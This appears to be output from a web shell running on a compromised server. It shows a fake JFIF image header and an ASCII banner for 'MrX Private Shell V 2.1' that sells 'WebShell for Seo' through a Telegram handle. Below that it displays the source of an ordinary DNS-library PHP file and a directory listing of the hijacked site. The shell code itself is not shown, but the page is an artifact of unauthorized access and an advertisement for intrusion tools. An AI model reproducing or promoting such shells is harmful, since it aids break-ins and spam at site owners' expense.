����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS\Edns\Option;
class Factory
{
/**
* Creates a new Option object from a name.
*
* @throws UnsupportedOptionException
*/
public static function newOptionFromName(string $name): OptionInterface
{
if (!self::isOptionImplemented($name)) {
throw new UnsupportedOptionException($name);
}
$className = self::getOptionClassName($name);
$optionInterface = new $className();
if (!$optionInterface instanceof OptionInterface) {
throw new \UnexpectedValueException(sprintf('Badcow\DNS\Edns\Option expected; "%s" instantiated.', gettype($optionInterface)));
}
return $optionInterface;
}
/**
* @throws UnsupportedOptionException
*/
public static function newOptionFromId(int $id): OptionInterface
{
return self::newOptionFromName(Codes::getName($id));
}
public static function isOptionImplemented(string $name): bool
{
return class_exists(self::getOptionClassName($name));
}
public static function isOptionCodeImplemented(int $optionCode): bool
{
try {
return self::isOptionImplemented(Codes::getName($optionCode));
} catch (UnsupportedOptionException $e) {
return false;
}
}
/**
* Get the fully qualified class name of the Option class for $option.
*/
public static function getOptionClassName(string $option): string
{
return __NAMESPACE__.'\\'.strtoupper($option);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CLIENT_SUBNET.php | File | 3.68 KB | 0644 |
|
| COOKIE.php | File | 2.06 KB | 0644 |
|
| Codes.php | File | 2.18 KB | 0644 |
|
| DecodeException.php | File | 669 B | 0644 |
|
| Factory.php | File | 1.76 KB | 0644 |
|
| OptionInterface.php | File | 1.37 KB | 0644 |
|
| OptionTrait.php | File | 527 B | 0644 |
|
| TCP_KEEPALIVE.php | File | 1.5 KB | 0644 |
|
| UnknownOption.php | File | 1.64 KB | 0644 |
|
| UnsupportedOptionException.php | File | 490 B | 0644 |
|